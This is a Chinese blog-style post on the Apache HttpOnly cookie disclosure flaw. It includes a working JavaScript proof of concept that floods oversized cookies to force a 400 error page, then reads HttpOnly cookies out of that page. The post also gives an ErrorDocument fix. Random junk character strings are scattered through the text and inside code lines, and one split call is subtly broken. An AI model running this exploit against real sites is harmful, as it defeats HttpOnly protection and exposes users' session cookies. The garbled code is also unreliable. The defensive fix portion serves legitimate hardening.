Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
. }2 {- r5 A( Q3 Z9 b& P
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
4 O% s7 Z2 ^: J3 J" L- K% ^
. I7 W9 B) G9 J
// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
4 B2 }. l/ w8 m' @5 N// Construct string for cookie value
- g8 }( J  H4 qvar str = "";
& v4 B( B5 ~/ d4 Y; G/ F  m% R+ l$ B8 ufor (var i=0; i< 819; i++) {
5 E- G( Z8 ^% Z4 D9 \3 ^str += "x";
$ q  B: e( ]" Y0 B2 i. I}
// Set cookies
4 I0 P) @& }) N0 R. \for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
: `4 x; l6 [# l0 E/ h7 Lvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
# v8 U  a. E* ]% o& z3 e3 S# pelse {
var cookie = "xss"+i+"="+str+";path=/";
3 y0 m1 h! u0 o+ i  G}
" Y& B  F0 \: P3 t! S" D2 y6 ldocument.cookie = cookie;
2 z- V# b, N# w9 I. R: i: _}
3 U; E; G3 B9 C5 {$ y}
" ~2 _) m" g& z) Bfunction makeRequest() {
) w$ f0 |; u* _5 Q/ f. ^' }setCookies();
function parseCookies () {
2 n6 @) T6 g! yvar cookie_dict = {};
+ O1 L! g& G6 O- C// Only react on 400 status
0 q1 r# M: t  D: Z# P4 ^if (xhr.readyState === 4 && xhr.status === 400) {
& u  N7 {. _" w; Q' N// Replace newlines and match <pre> content
5 ?# ?' K5 V0 `& m+ c, H, h7 Jvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
4 \7 i. L: Z) R' sif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
! g9 c- H7 q, p4 H$ ^for (var i=0; i<cookies.length; i++) {
: N% J" k) z* C' q2 |7 nvar s_c = cookies.split('=',2);
+ |. A& G% ]6 K+ ?& Zcookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
/ K- O/ y4 V- i5 L! @/ rsetCookies(true);
alert(JSON.stringify(cookie_dict));
}
# J/ _9 J6 T4 e* X4 D! g+ x}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
6 W" N" ?# ?+ f, T+ Uxhr.send(null);
}
) f& A1 n$ _& M4 jmakeRequest();

& `4 U& Z4 I3 r$ A. m5 ]你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
& ^' x( }, y$ _6 m; v! d( I: [
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
1 G+ K  g0 `: c* g8 L! V
+ A1 F+ U) P, U. }In the event of a problem or error, Apachecan be configured to do one of four things,
' q8 A/ T% D" s
, H& Y" {! ~; V2 L& M9 p; J. F' b1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
( S9 g6 {! j6 T% G& Q9 g: ?2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

; ~! H, A8 A3 G经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
6 d2 c: R' r) o6 e: e& L
Apache配置：

ErrorDocument400 " security test"
( f! n) a' J/ d7 q, ]: n
当然，升级apache到最新也可：）。
6 M) w4 ~  s/ f8 C# d
参考：http://httpd.apache.org/security/vulnerabilities_22.html
! J: ?( c: o0 i+ U  n
  b( v. r- p+ u) b: e9 Y